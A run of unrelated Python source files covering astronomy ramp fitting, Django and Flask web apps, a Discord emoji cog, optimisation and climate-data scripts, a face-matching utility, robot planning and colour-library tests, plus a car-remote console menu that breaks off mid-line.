fmask-=fmask[0] for i in range(dim3): tag0 = str(i+1) if len(tag0) < 4: tag = '0'*(4-len(tag))+tag0 tag = 'POSE'+tag h[tag] = (fmask[i],'Posemeter, '+tag0+'/'+str(len(fic))) a = np.zeros([imdim,imdim],dtype=float)+np.nan # slope, NaN if not enough valid readouts b = np.zeros([imdim,imdim],dtype=float)+np.nan # intercept valid=n>1 # only valid where there's more than one good readout(s) b[valid] = (sx*sxy-sx2*sy)[valid]/(sx**2-n*sx2)[valid] # algebra of the linear fit a[valid] = (sy-n*b)[valid]/sx[valid] # For the sake of consistency, we fix the slope, error and intercept to NaN for # pixels that have 0 or 1 valid (i.e., not saturated) values and for which # one cannot determine a valid slope errslope = np.zeros([imdim,imdim],dtype=float)+np.nan goodmask = np.full((imdim,imdim),True,dtype=bool) if skip_error == False: varx2 = np.zeros([imdim,imdim],dtype=float) vary2 = np.zeros([imdim,imdim],dtype=float) xp = np.zeros([imdim,imdim],dtype=float) valid = (n>2) xp[valid]=sx[valid]/n[valid] # used in the determination of error below print('we now compute the standard error on the slope') for i in range(dim3): # we read the npz as this file has been linearized (if the -linearize keyword has been set) # and we subtracted the reference regions on the array data=np.load(savname[i]) os.system('rm '+savname[i]) im=data['im'] goodmask = (n > i) yp = b+a*timestamp[i] print(i+1,'/',dim3,' ~~~> Computing slope error') varx2+= ((timestamp[i]-xp)**2)*goodmask # we multiply by goodmask so that only vary2+= ((im-yp)**2)*goodmask valid*=(varx2!=0) # avoid diving by zero errslope[valid] = np.sqrt(vary2[valid]/(n[valid]-2))/np.sqrt(varx2[valid]) # deleting the temporary npz else: print(' We do not calculate the error on slope.') print(' This is faster and intended for debugging but ') print(' ultimately we will want to compute slope error ') print(' for all files') h['satur1']=(nanmedian(saturation),'median saturation limit in ADU') h['satur2']=(nanmedian(saturation)/max(timestamp),'median saturation limit in ADU/s') dfmask = fmask[1:]-fmask[0:-1] # flux received between readouts dtimestamp = timestamp[1:]+0.5*(timestamp[-1]-timestamp[0])/(len(timestamp)-1) # mid-time of Nth readout ### we estimate the RON by checking the slope error in pixels receiving little flux ### as the orders cover ~50% of the science array, we take the median slope error of ### pixels that are below the median slope. We assume that these pixels have an RMS that is ### dominated by readout noise (TO BE CONFIRMED). ### we also clip pixels that are above 3x the median RMS pseudodark = 0.0 # (a < np.median(a))*(errslope < 3*np.median(errslope)) ron_estimate = 0.0 #np.median(errslope[pseudodark])*(max(timestamp)-min(timestamp)) # converted into ADU instead of ADU/s #### Standard FITS Keywords BITPIX = 16 / 16bit h['BSCALE']=(1.0 , 'Scale factor') #### FITS keyword related to the detector h['RON_EST']=(ron_estimate , '[ADU] read noise estimate') h['NSUBEXPS']=(len(fic) , 'Total number of sub-exposures of 5.5s ') #h['TMID']= (np.sum(dtimestamp*dfmask)/np.sum(dfmask) , '[s] Flux-weighted mid-exposure time ' ) #h['CMEAN']= ( np.mean(dfmask)/(timestamp[1]-timestamp[0]), '[ADU/s] Average count posemeter' ) if skip_ref == False: a=refpixcorr(a,oddeven=True) a=np.float32(a) if dobias: # we subtracted the bias from all frames, we need to add it to the intercept b+=bias b=np.float32(b) errslope=np.float32(errslope) hdu1 = pyfits.PrimaryHDU() hdu1.header = h hdu1.header['NEXTEND'] = 4 hdu2 = pyfits.ImageHDU(a) hdu2.header['UNITS'] = ('ADU/S','Slope of fit, flux vs time') hdu2.header['EXTNAME'] = ('slope','Slope of fit, flux vs time') hdu3 = pyfits.ImageHDU(b) hdu3.header['UNITS'] = ('ADU','Intercept of the pixel/time fit.') hdu3.header['EXTNAME'] = ('intercept','Intercept of the pixel/time fit.') hdu4 = pyfits.ImageHDU(errslope) hdu4.header['UNITS'] = ('ADU/S','Formal error on slope fit') hdu4.header['EXTNAME'] = ('errslope','Formal error on slope fit') hdu5 = pyfits.ImageHDU(n) hdu5.header['UNITS'] = ('Nimages','N readouts below saturation') hdu5.header['EXTNAME'] = ('count','N readouts below saturation') new_hdul = pyfits.HDUList([hdu1, hdu2, hdu3, hdu4, hdu5]) # just to avoid an error message with writeto if os.path.isfile(odometer+'.fits'): print('file : '+odometer+'.fits exists, we are overwriting it') os.system('rm '+odometer+'.fits') new_hdul.writeto(odometer +'.fits', clobber=True) print('Elapsed time for entire fits2ramp : '+str(float(time.time()-t0))+' s')
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from django.urls import path from . import views urlpatterns = [ path('', views.course_list, name='course_list'), path('<course_slug>/', views.session_list, name='session_list'), path('<course_slug>/<session_slug>/', views.session_detail, name='session_detail'), path('<course_slug>/<session_slug>/<password>/', views.add_comment_to_session, name='add_comment_to_session'), ]
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from api import app, BAD_PARAM, STATUS_OK, BAD_REQUEST from flask import request, jsonify, abort, make_response,render_template, json import sys from lung_cancer.connection_settings import get_connection_string, TABLE_SCAN_IMAGES, TABLE_GIF, TABLE_MODEL, TABLE_FEATURES, LIGHTGBM_MODEL_NAME, DATABASE_NAME,NUMBER_PATIENTS from lung_cancer.lung_cancer_utils import get_patients_id, get_patient_id_from_index, select_entry_where_column_equals_value, get_features, get_lightgbm_model, prediction import pyodbc import cherrypy from paste.translogger import TransLogger def run_server(): # Enable WSGI access logging via Paste app_logged = TransLogger(app) # Mount the WSGI callable object (app) on the root directory cherrypy.tree.graft(app_logged, '/') # Set the configuration of the web server cherrypy.config.update({ 'engine.autoreload_on': True, 'log.screen': True, 'log.error_file': "cherrypy.log", 'server.socket_port': 5000, 'server.socket_host': '0.0.0.0', 'server.thread_pool': 50, # 10 is default }) # Start the CherryPy WSGI web server cherrypy.engine.start() cherrypy.engine.block() # Connection connection_string = get_connection_string() conn = pyodbc.connect(connection_string) cur = conn.cursor() # Model model = get_lightgbm_model(TABLE_MODEL, cur, LIGHTGBM_MODEL_NAME) # Functions @app.route("/") def index(): cherrypy.log("CHERRYPY LOG: /") return render_template('index.html') @app.route('/gif/<patient_index>') def patient_gif(patient_index): patient_index = int(patient_index) if patient_index > NUMBER_PATIENTS: abort(BAD_REQUEST) cherrypy.log("CHERRYPY LOG: /gif/<patient_index>") gif_url = manage_gif(patient_index) return make_response(jsonify({'status': STATUS_OK, 'gif_url': gif_url}), STATUS_OK) @app.route('/predict/<patient_index>') def predict_patient(patient_index): patient_index = int(patient_index) if patient_index > NUMBER_PATIENTS: abort(BAD_REQUEST) cherrypy.log("CHERRYPY LOG: /predict/<patient_index>") prob = manage_prediction(patient_index) return make_response(jsonify({'status': STATUS_OK, 'prob': prob}), STATUS_OK) @app.route('/patient_info', methods=['POST']) def patient_info(): cherrypy.log("CHERRYPY LOG: /patient_info") patient_index = manage_request_patient_index(request.form['patient_index']) gif_url = manage_gif(patient_index) return render_template('patient.html', patient_index=patient_index, gif_url=gif_url) @app.route('/patient_prob', methods=['POST']) def patient_prob(): cherrypy.log("CHERRYPY LOG: /patient_prob") patient_index = manage_request_patient_index(request.form['patient_index']) prob = manage_prediction_store_procedure(patient_index) gif_url = manage_gif(patient_index) return render_template('patient.html', patient_index=patient_index, prob=round(prob,2), gif_url=gif_url) def is_integer(s): try: int(s) return True except ValueError: return False def manage_request_patient_index(patient_request): patient1 = "Anthony Embleton".lower() patient2 = "Ana Fernandez".lower() if patient_request.lower() in patient1: patient_index = 1 elif patient_request.lower() in patient2: patient_index = 175 else: if is_integer(patient_request): patient_index = int(patient_request) if patient_index > NUMBER_PATIENTS: patient_index = NUMBER_PATIENTS - 1 else: patient_index = 7 return patient_index def manage_gif(patient_index): patient_id = get_patient_id_from_index(TABLE_SCAN_IMAGES, cur, patient_index) print(patient_id) resp = select_entry_where_column_equals_value(TABLE_GIF, cur, 'patient_id', patient_id) gif_url = resp[1] print("gif_url: ",gif_url) return gif_url def manage_prediction(patient_index): patient_id = get_patient_id_from_index(TABLE_SCAN_IMAGES, cur, patient_index) feats = get_features(TABLE_FEATURES, cur, patient_id) probability_cancer = prediction(model, feats) prob = float(probability_cancer)*100 return prob def manage_prediction_store_procedure(patient_index): query = "DECLARE @PredictionResultSP FLOAT;" query += "EXECUTE " + DATABASE_NAME + ".dbo.PredictLungCancer @PatientIndex = ?, @ModelName = " + \ LIGHTGBM_MODEL_NAME + ", @PredictionResult = @PredictionResultSP;" cur.execute(query, patient_index) prob = cur.fetchone()[0] return prob if __name__ == "__main__": run_server() conn.close()
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import bloodFunctions as blood import time try: samples = [] blood.initSpiAdc() start = time.time() while (time.time() - start) < 60: samples.append(blood.getAdc()) finish = time.time() blood.deinitSpiAdc() blood.save(samples, start, finish) finally: print("Blood measure script finished")
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import logging import re from typing import Literal, Optional import discord from discord.ext import commands from emoji import UNICODE_EMOJI_ENGLISH, is_emoji from bot.bot import Bot from bot.constants import Colours, Roles from bot.utils.decorators import whitelist_override from bot.utils.extensions import invoke_help_command log = logging.getLogger(__name__) BASE_URLS = { "png": "https://raw.githubusercontent.com/twitter/twemoji/master/assets/72x72/", "svg": "https://raw.githubusercontent.com/twitter/twemoji/master/assets/svg/", } CODEPOINT_REGEX = re.compile(r"[a-f1-9][a-f0-9]{3,5}$") class Twemoji(commands.Cog): """Utilities for working with Twemojis.""" def __init__(self, bot: Bot): self.bot = bot @staticmethod def get_url(codepoint: str, format: Literal["png", "svg"]) -> str: """Returns a source file URL for the specified Twemoji, in the corresponding format.""" return f"{BASE_URLS[format]}{codepoint}.{format}" @staticmethod def alias_to_name(alias: str) -> str: """ Transform a unicode alias to an emoji name. Example usages: >>> alias_to_name(":falling_leaf:") "Falling leaf" >>> alias_to_name(":family_man_girl_boy:") "Family man girl boy" """ name = alias.strip(":").replace("_", " ") return name.capitalize() @staticmethod def build_embed(codepoint: str) -> discord.Embed: """Returns the main embed for the `twemoji` commmand.""" emoji = "".join(Twemoji.emoji(e) or "" for e in codepoint.split("-")) embed = discord.Embed( title=Twemoji.alias_to_name(UNICODE_EMOJI_ENGLISH[emoji]), description=f"{codepoint.replace('-', ' ')}\n[Download svg]({Twemoji.get_url(codepoint, 'svg')})", colour=Colours.twitter_blue, ) embed.set_thumbnail(url=Twemoji.get_url(codepoint, "png")) return embed @staticmethod def emoji(codepoint: Optional[str]) -> Optional[str]: """ Returns the emoji corresponding to a given `codepoint`, or `None` if no emoji was found. The return value is an emoji character, such as "🍂". The `codepoint` argument can be of any format, since it will be trimmed automatically. """ if code := Twemoji.trim_code(codepoint): return chr(int(code, 16)) @staticmethod def codepoint(emoji: Optional[str]) -> Optional[str]: """ Returns the codepoint, in a trimmed format, of a single emoji. `emoji` should be an emoji character, such as "🐍" and "🥰", and not a codepoint like "1f1f8". When working with combined emojis, such as "🇸🇪" and "👨‍👩‍👦", send the component emojis through the method one at a time. """ if emoji is None: return None return hex(ord(emoji)).removeprefix("0x") @staticmethod def trim_code(codepoint: Optional[str]) -> Optional[str]: """ Returns the meaningful information from the given `codepoint`. If no codepoint is found, `None` is returned. Example usages: >>> trim_code("U+1f1f8") "1f1f8" >>> trim_code("\u0001f1f8") "1f1f8" >>> trim_code("1f466") "1f466" """ if code := CODEPOINT_REGEX.search(codepoint or ""): return code.group() @staticmethod def codepoint_from_input(raw_emoji: tuple[str, ...]) -> str: """ Returns the codepoint corresponding to the passed tuple, separated by "-". The return format matches the format used in URLs for Twemoji source files. Example usages: >>> codepoint_from_input(("🐍",)) "1f40d" >>> codepoint_from_input(("1f1f8", "1f1ea")) "1f1f8-1f1ea" >>> codepoint_from_input(("👨‍👧‍👦",)) "1f468-200d-1f467-200d-1f466" """ raw_emoji = [emoji.lower() for emoji in raw_emoji] if is_emoji(raw_emoji[0]): emojis = (Twemoji.codepoint(emoji) or "" for emoji in raw_emoji[0]) return "-".join(emojis) emoji = "".join( Twemoji.emoji(Twemoji.trim_code(code)) or "" for code in raw_emoji ) if is_emoji(emoji): return "-".join(Twemoji.codepoint(e) or "" for e in emoji) raise ValueError("No codepoint could be obtained from the given input") @commands.command(aliases=("tw",)) @whitelist_override(roles=(Roles.everyone,)) async def twemoji(self, ctx: commands.Context, *raw_emoji: str) -> None: """Sends a preview of a given Twemoji, specified by codepoint or emoji.""" if len(raw_emoji) == 0: await invoke_help_command(ctx) return try: codepoint = self.codepoint_from_input(raw_emoji) except ValueError: raise commands.BadArgument( "please include a valid emoji or emoji codepoint." ) await ctx.send(embed=self.build_embed(codepoint)) def setup(bot: Bot) -> None: """Load the Twemoji cog.""" bot.add_cog(Twemoji(bot))
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# WAP to accept a filename from user and print all words starting with capital letters. def main(): inputFilePath = input("Please enter file name: ") if __name__ == "__main__": main()
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# This is automatically-generated code. # Uses the jinja2 library for templating. import cvxpy as cp import numpy as np import scipy as sp # setup problemID = "least_abs_dev_0" prob = None opt_val = None # Variable declarations import scipy.sparse as sps np.random.seed(0) m = 5000 n = 200 A = np.random.randn(m,n); A = A*sps.diags([1 / np.sqrt(np.sum(A**2, 0))], [0]) b = A.dot(10*np.random.randn(n) + 5*np.random.randn(1)) k = max(m//50, 1) idx = np.random.randint(0, m, k) b[idx] += 100*np.random.randn(k) # Problem construction x = cp.Variable(n) v = cp.Variable(1) prob = cp.Problem(cp.Minimize(cp.norm1(A*x + v*np.ones(m) - b))) # Problem collection # Single problem collection problemDict = { "problemID" : problemID, "problem" : prob, "opt_val" : opt_val } problems = [problemDict] # For debugging individual problems: if __name__ == "__main__": def printResults(problemID = "", problem = None, opt_val = None): print(problemID) problem.solve() print("\tstatus: {}".format(problem.status)) print("\toptimal value: {}".format(problem.value)) print("\ttrue optimal value: {}".format(opt_val)) printResults(**problems[0])
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from __future__ import print_function import os import sys import time import gdal import numpy as np # ------------------------------------------------------------------------- # Files to process # ------------------------------------------------------------------------- fileNames = [ 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2006.tif', 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2007.tif', 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2008.tif', 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2009.tif', 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2010.tif', 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2011.tif', 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2012.tif', 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2013.tif', 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2014.tif', 'tasmax_day_BCSD_rcp85_r1i1p1_MRI-CGCM3_2015.tif', ] basepath = '/data/sebastien/SparkMPI/data/gddp' # ------------------------------------------------------------------------- # Read file and output (year|month, temp) # ------------------------------------------------------------------------- def readFile(fileName): year = fileName.split('_')[-1][:-4] print('year', year) dataset = gdal.Open('%s/%s' % (basepath, fileName)) for bandId in range(dataset.RasterCount): band = dataset.GetRasterBand(bandId + 1).ReadAsArray() for value in band.flatten(): yield (year, value) # ----------------------------------------------------------------------------- def readFileAndCompute(fileName): year = fileName.split('_')[-1][:-4] print('year', year) dataset = gdal.Open('%s/%s' % (basepath, fileName)) total = 0 count = 0 for bandId in range(dataset.RasterCount): band = dataset.GetRasterBand(bandId + 1).ReadAsArray() for value in band.flatten(): if value < 50000: total += value count += 1 return (year, total / count) # ----------------------------------------------------------------------------- def readDoNothing(fileName): year = fileName.split('_')[-1][:-4] print('year', year) dataset = gdal.Open('%s/%s' % (basepath, fileName)) for bandId in range(dataset.RasterCount): band = dataset.GetRasterBand(bandId + 1).ReadAsArray() print(band.shape) # ------------------------------------------------------------------------- # Read timing # ------------------------------------------------------------------------- t0 = time.time() for fileName in fileNames: readDoNothing(fileName) t1 = time.time() print('### Total execution time - %s ' % str(t1 - t0))
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# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # TODO # - interp smh import jax.numpy as jnp from deluca import JaxObject DEFAULT_PRESSURE_RANGE = (5.0, 35.0) DEFAULT_KEYPOINTS = [1e-8, 1.0, 1.5, 3.0] class BreathWaveform(JaxObject): """Waveform generator with shape /‾\_""" def __init__(self, range=None, keypoints=None): self.lo, self.hi = range or DEFAULT_PRESSURE_RANGE self.xp = jnp.asarray([0] + (keypoints or DEFAULT_KEYPOINTS)) self.fp = jnp.asarray([self.lo, self.hi, self.hi, self.lo, self.lo]) self.period = self.xp[-1] def at(self, t): # return jnp.interp(t, self.xp, self.fp, period=self.period) return jnp.interp(t, self.xp, self.fp, period=3) def phase(self, t): return jnp.searchsorted(self.xp, t % self.period, side="right") __all__ = ["BreathWaveform"]
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""" Ivoire is an RSpec-like testing framework for Python. Globals defined in this module: current_result: Should be set by a runner to an object that has the same interface as unittest.TestResult. It will be used by every example that is instantiated to record test results during the runtime of Ivoire. __version__: The current version information """ try: from importlib import metadata except ImportError: import importlib_metadata as metadata from ivoire.standalone import Example, describe from ivoire.manager import ContextManager __version__ = metadata.version("ivoire") _manager = ContextManager() context = _manager.create_context current_result = None
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# Blair Johnson 2021 from facenet_pytorch import InceptionResnetV1, MTCNN import numpy as np def create_embeddings(images): ''' Take an iterable of image candidates and return an iterable of image embeddings. ''' if type(images) != list: images = [images] extractor = MTCNN() encoder = InceptionResnetV1(pretrained='vggface2').eval() embeddings = [] for image in images: cropped_img = extractor(image) embeddings.append(encoder(cropped_img.unsqueeze(0))) return embeddings def candidate_search(candidates, target): ''' Take an iterable of candidates and a target image and determine the best candidate fit ''' cand_embs = create_embeddings(candidates) target_embs = create_embeddings(target)[0] best_loss = np.inf best_candidate = np.inf for i,embedding in enumerate(cand_embs): loss = np.linalg.norm(target_embs.detach().numpy()-embedding.detach().numpy(), ord='fro') if loss < best_loss: best_loss = loss best_candidate = i return candidates[i], best_candidate if __name__ == '__main__': from PIL import Image import matplotlib.pyplot as plt test1 = np.array(Image.open('/home/bjohnson/Pictures/fake_face.jpg')) test2 = np.array(Image.open('/home/bjohnson/Pictures/old_face.jpg')) test3 = np.array(Image.open('/home/bjohnson/Pictures/young_face.jpg')) target = np.array(Image.open('/home/bjohnson/Pictures/profile_pic_lake_louise.png')) candidates = [test1,test2,test3] chosen, index = candidate_search(candidates, target) print(index) #plt.imshow(candidate_search(candidates, target))
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from IPython import embed as shell import itertools import numpy as np import random # SEED = 1234 NUM_PROBS = 1 NUM_CLOTH = 4 filename = "probs/base_prob.prob" GOAL = "(RobotAt baxter robot_end_pose)" # init Baxter pose BAXTER_INIT_POSE = [0, 0, 0] BAXTER_END_POSE = [0, 0, 0] R_ARM_INIT = [0, 0, 0, 0, 0, 0, 0] # [0, -0.8436, -0.09, 0.91, 0.043, 1.5, -0.05] # [ 0.1, -1.36681967, -0.23718529, 1.45825713, 0.04779009, 1.48501637, -0.92194262] L_ARM_INIT = [0, 0, 0, 0, 0, 0, 0] # [-0.6, -1.2513685 , -0.63979997, 1.41307933, -2.9520384, -1.4709618, 2.69274026] OPEN_GRIPPER = [0.02] CLOSE_GRIPPER = [0.015] MONITOR_LEFT = [np.pi/4, -np.pi/4, 0, 0, 0, 0, 0] MONITOR_RIGHT = [-np.pi/4, -np.pi/4, 0, 0, 0, 0, 0] CLOTH_ROT = [0, 0, 0] TABLE_GEOM = [1.23/2, 2.45/2, 0.97/2] TABLE_POS = [1.23/2-0.1, 0, 0.97/2-0.375-0.665] TABLE_ROT = [0,0,0] ROBOT_DIST_FROM_TABLE = 0.05 REGION1 = [np.pi/4] REGION2 = [0] REGION3 = [-np.pi/4] REGION4 = [-np.pi/2] cloth_init_poses = np.ones((NUM_CLOTH, 3)) * 0.615 cloth_init_poses = cloth_init_poses.tolist() def get_baxter_pose_str(name, LArm = L_ARM_INIT, RArm = R_ARM_INIT, G = OPEN_GRIPPER, Pos = BAXTER_INIT_POSE): s = "" s += "(left {} {}), ".format(name, LArm) s += "(left_gripper {} {}), ".format(name, G) s += "(right {} {}), ".format(name, RArm) s += "(right_gripper {} {}), ".format(name, G) s += "(value {} {}), ".format(name, Pos) return s def get_baxter_str(name, LArm = L_ARM_INIT, RArm = R_ARM_INIT, G = OPEN_GRIPPER, Pos = BAXTER_INIT_POSE): s = "" s += "(geom {})".format(name) s += "(left {} {}), ".format(name, LArm) s += "(left_gripper {} {}), ".format(name, G) s += "(right {} {}), ".format(name, RArm) s += "(right_gripper {} {}), ".format(name, G) s += "(pose {} {}), ".format(name, Pos) return s def get_undefined_robot_pose_str(name): s = "" s += "(left {} undefined), ".format(name) s += "(left_gripper {} undefined), ".format(name) s += "(right {} undefined), ".format(name) s += "(right_gripper {} undefined), ".format(name) s += "(value {} undefined), ".format(name) return s def get_undefined_symbol(name): s = "" s += "(value {} undefined), ".format(name) s += "(rotation {} undefined), ".format(name) return s def main(): for iteration in range(NUM_PROBS): s = "# AUTOGENERATED. DO NOT EDIT.\n# Configuration file for CAN problem instance. Blank lines and lines beginning with # are filtered out.\n\n" s += "# The values after each attribute name are the values that get passed into the __init__ method for that attribute's class defined in the domain configuration.\n" s += "Objects: " s += "Baxter (name baxter); " for i in range(NUM_CLOTH): s += "Cloth (name {}); ".format("cloth{0}".format(i)) s += "ClothTarget (name {}); ".format("cloth_target_{0}".format(i)) s += "ClothTarget (name {}); ".format("cloth{0}_init_target".format(i)) s += "ClothTarget (name {}); ".format("cloth{0}_end_target".format(i)) s += "BaxterPose (name {}); ".format("cloth_grasp_begin".format(i)) s += "BaxterPose (name {}); ".format("cloth_grasp_end".format(i)) s += "BaxterPose (name {}); ".format("cloth_putdown_begin".format(i)) s += "BaxterPose (name {}); ".format("cloth_putdown_end".format(i)) s += "ClothTarget (name {}); ".format("middle_target_1") s += "ClothTarget (name {}); ".format("middle_target_2") s += "ClothTarget (name {}); ".format("left_mid_target") s += "ClothTarget (name {}); ".format("right_mid_target") s += "BaxterPose (name {}); ".format("robot_init_pose") s += "BaxterPose (name {}); ".format("robot_end_pose") s += "Obstacle (name {}) \n\n".format("table") s += "Init: " for i in range(NUM_CLOTH): s += "(geom cloth{0}), ".format(i) s += "(pose cloth{0} {1}), ".format(i, [0, 0, 0]) s += "(rotation cloth{0} {1}), ".format(i, [0, 0, 0]) s += "(value cloth{0}_init_target [0, 0, 0]), ".format(i) s += "(rotation cloth{0}_init_target [0, 0, 0]), ".format(i) s += "(value cloth_target_{0} [0, 0, 0]), ".format(i) s += "(rotation cloth_target_{0} [0, 0, 0]), ".format(i) s += "(value cloth{0}_end_target [0, 0, 0]), ".format(i) s += "(rotation cloth{0}_end_target [0, 0, 0]), ".format(i) s += "(value middle_target_1 [0, 0, 0]), " s += "(rotation middle_target_1 [0, 0, 0]), " s += "(value middle_target_2 [0, 0, 0]), " s += "(rotation middle_target_2 [0, 0, 0]), " s += "(value left_mid_target [0, 0, 0]), " s += "(rotation left_mid_target [0, 0, 0]), " s += "(value right_mid_target [0, 0, 0]), " s += "(rotation right_mid_target [0, 0, 0]), " s += get_undefined_robot_pose_str("cloth_grasp_begin".format(i)) s += get_undefined_robot_pose_str("cloth_grasp_end".format(i)) s += get_undefined_robot_pose_str("cloth_putdown_begin".format(i)) s += get_undefined_robot_pose_str("cloth_putdown_end".format(i)) s += get_baxter_str('baxter', L_ARM_INIT, R_ARM_INIT, OPEN_GRIPPER, BAXTER_INIT_POSE) s += get_baxter_pose_str('robot_init_pose', L_ARM_INIT, R_ARM_INIT, OPEN_GRIPPER, BAXTER_INIT_POSE) # s += get_baxter_pose_str('robot_end_pose', L_ARM_INIT, R_ARM_INIT, OPEN_GRIPPER, BAXTER_END_POSE) s += get_undefined_robot_pose_str('robot_end_pose') s += "(geom table {}), ".format(TABLE_GEOM) s += "(pose table {}), ".format(TABLE_POS) s += "(rotation table {}); ".format(TABLE_ROT) s += "(RobotAt baxter robot_init_pose)," s += "(StationaryBase baxter), " s += "(IsMP baxter), " s += "(WithinJointLimit baxter), " s += "(StationaryW table) \n\n" s += "Goal: {}".format(GOAL) with open(filename, "w") as f: f.write(s) if __name__ == "__main__": main()
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import pytest from colorviews import AlphaColor class TestGetAttr: @pytest.mark.parametrize("attr, expected", [ ("h", 0.75), ("s", 0.47), ("v", 0.29), ("a", 0.79), ]) def test_valid(self, attr, expected): color = AlphaColor.from_hsva(0.75, 0.47, 0.29, 0.79) assert round(getattr(color.hsva, attr), 4) == expected @pytest.mark.parametrize("attr", [ "r", "b", ]) def test_invalid(self, attr): color = AlphaColor.from_hsva(0.75, 0.47, 0.29, 0.79) with pytest.raises(AttributeError): getattr(color.hsva, attr) class TestSetAttr: @pytest.mark.parametrize("attr, val", [ ("h", 0.75), ("s", 0.5), ("v", 0.29), ("a", 0.49), ]) def test_valid(self, attr, val): color = AlphaColor.from_hsva(0.45, 0.15, 0.89, 0.79) setattr(color.hsva, attr, val) assert round(getattr(color.hsva, attr), 4) == val @pytest.mark.parametrize("attr", [ "r", "g", ]) def test_invalid(self, attr): color = AlphaColor.from_hsva(0.75, 0.47, 0.29, 0.79) with pytest.raises(AttributeError): setattr(color.hsva, attr, 0.1) @pytest.mark.parametrize("hsva_dict, expected", [ ({"h": 91 / 360}, 0x394a2980), ({"s": 0.15}, 0x443f4a80), ({"v": 0.74}, 0x9268bd80), ({"a": 0.80}, 0x39294acc), ({"h": 91 / 360, "s": 0.15}, 0x444a3f80), ({"h": 91 / 360, "v": 0.74}, 0x91bd6880), ({"h": 91 / 360, "v": 0.74, "a": 0.25}, 0x91bd6840), ({"s": 0.15, "v": 0.74}, 0xafa0bd80), ({"h": 91 / 360, "s": 0.15, "v": 0.74}, 0xaebda080), ]) def test_replace(hsva_dict, expected): color = AlphaColor.from_hsva(0.75, 0.45, 0.29, 0.5) assert int(color.hsva.replace(**hsva_dict)) == expected class TestVals: @pytest.mark.parametrize("vals", [ [0.2, 0.4, 0.6, 0.1], (0.6, 0.2, 0.4, 0.54), ]) def test_setter_valid(self, vals): color = AlphaColor.from_hsva(0.75, 0.45, 0.29, 0.79) color.hsva.vals = vals assert [round(val, 4) for val in color.hsva] == list(vals) @pytest.mark.parametrize("wrong_vals", [ [0.2, 0.4], (1.6, 0.2, 0.4), (0.6, 0.2, 0.4, 1.0, 0.8), ]) def test_setter_invalid(self, wrong_vals): color = AlphaColor.from_hsva(0.75, 0.45, 0.29, 0.79) with pytest.raises(ValueError): color.hsva.vals = wrong_vals def test_vals_getter(): vals = (0.75, 0.45, 0.29, 0.79) color = AlphaColor.from_hsva(0.75, 0.45, 0.29, 0.79) assert [round(val, 4) for val in color.hsva.vals] == list(vals)
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import random, logging from collections import Counter from flask import Flask, session, request, render_template, jsonify from app.util import unflatten from app.fiftycents import FiftyCentsGame from app.fiftycents import Card log = logging.getLogger('werkzeug') log.setLevel(logging.ERROR) app = Flask(__name__) app.secret_key = 'peanut' game = FiftyCentsGame(2) @app.route("/", methods=['POST', 'GET']) def index(): if request.method == "POST": data = unflatten(request.form.to_dict()) for k,v in data["play"].items(): data["play"][k] = int(v) game.play(data) player = {"hand": {k: 0 for k in Card.RANKS}, "coins": game.player.coins, "points": game.player.total_score} for k, v in dict(Counter([c.rank for c in game.player.hand])).items(): player["hand"][k] = v goal = {"set_num": game.current_round[0], "set_size": game.current_round[1]} pile = [c.rank for c in game.open_deck.cards] return render_template('main.html', player=player, pile=pile, goal=goal, playable = sorted([c for c in game.cards_in_play if c not in ["2", "JOKER"]]), player_has_drawn=game.player_has_drawn, game_over = game.game_over, player_score = game.player.get_current_score(), ai_score = game.AI.get_current_score(), ai_total = game.AI.total_score) @app.route("/info/", methods=['GET']) def info(): return jsonify({"player": { "hand": [c.rank for c in game.player.hand], "played": [c.rank for c in game.player.played_cards], "coins": game.player.coins, "score": game.player.get_current_score() }, "computer": { "hand": [c.rank for c in game.AI.hand], "played": [c.rank for c in game.AI.played_cards], "coins": game.AI.coins, "score": game.AI.get_current_score() }, "game": { "open": [c.rank for c in game.open_deck.cards], "cards_in_play": list(game.cards_in_play), "round": game.current_round } })
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import time import logging import pickle import json import consolemenu from generic_lib import georeverse, geolookup from bluvo_main import BlueLink from tools.stamps import postOffice from params import * # p_parameters are read logging.basicConfig(format='%(asctime)s - %(levelname)-8s - %(filename)-18s - %(message)s', filename='bluvo_test.log', level=logging.DEBUG) menuoptions = ['0 exit',"1 Lock", "2 Unlock", "3 Status", "4 Status formatted", "5 Status refresh", "6 location", "7 loop status", "8 Navigate to", '9 set Charge Limits', '10 get charge schedule', '11 get services', '12 poll car', '13 get stamps', '14 odometer', '15 get park location', '16 get user info', '17 get monthly report', '18 get monthly report lists'] mymenu = consolemenu.SelectionMenu(menuoptions) # heartbeatinterval, initsuccess = initialise(p_email, p_password, p_pin, p_vin, p_abrp_token, p_abrp_carmodel, p_WeatherApiKey, # p_WeatherProvider, p_homelocation, p_forcepollinterval, p_charginginterval, # p_heartbeatinterval) bluelink = BlueLink(p_email, p_password, p_pin, p_vin, p_abrp_carmodel, p_abrp_token, p_WeatherApiKey, p_WeatherProvider, p_homelocation) bluelink.initialise(p_forcepollinterval, p_charginginterval) if bluelink.initSuccess: #stampie = postOffice("hyundai", False) while True: for i in menuoptions: print(i) #try: x = int(input("Please Select:")) print(x) if x == 0: exit() if x == 1: bluelink.vehicle.api_set_lock('on') if x == 2: bluelink.vehicle.api_set_lock('off') if x == 3: print(bluelink.vehicle.api_get_status(False)) if x == 4: status_record = bluelink.vehicle.api_get_status(False, False) for thing in status_record: print(thing + ": " + str(status_record[thing])) if x == 5: print(bluelink.vehicle.api_get_status(True)) if x == 6: locatie = bluelink.vehicle.api_get_location() if locatie: locatie = locatie['gpsDetail']['coord'] print(georeverse(locatie['lat'], locatie['lon'])) if x == 7: while True: # read semaphore flag try: with open('semaphore.pkl', 'rb') as f: manualForcePoll = 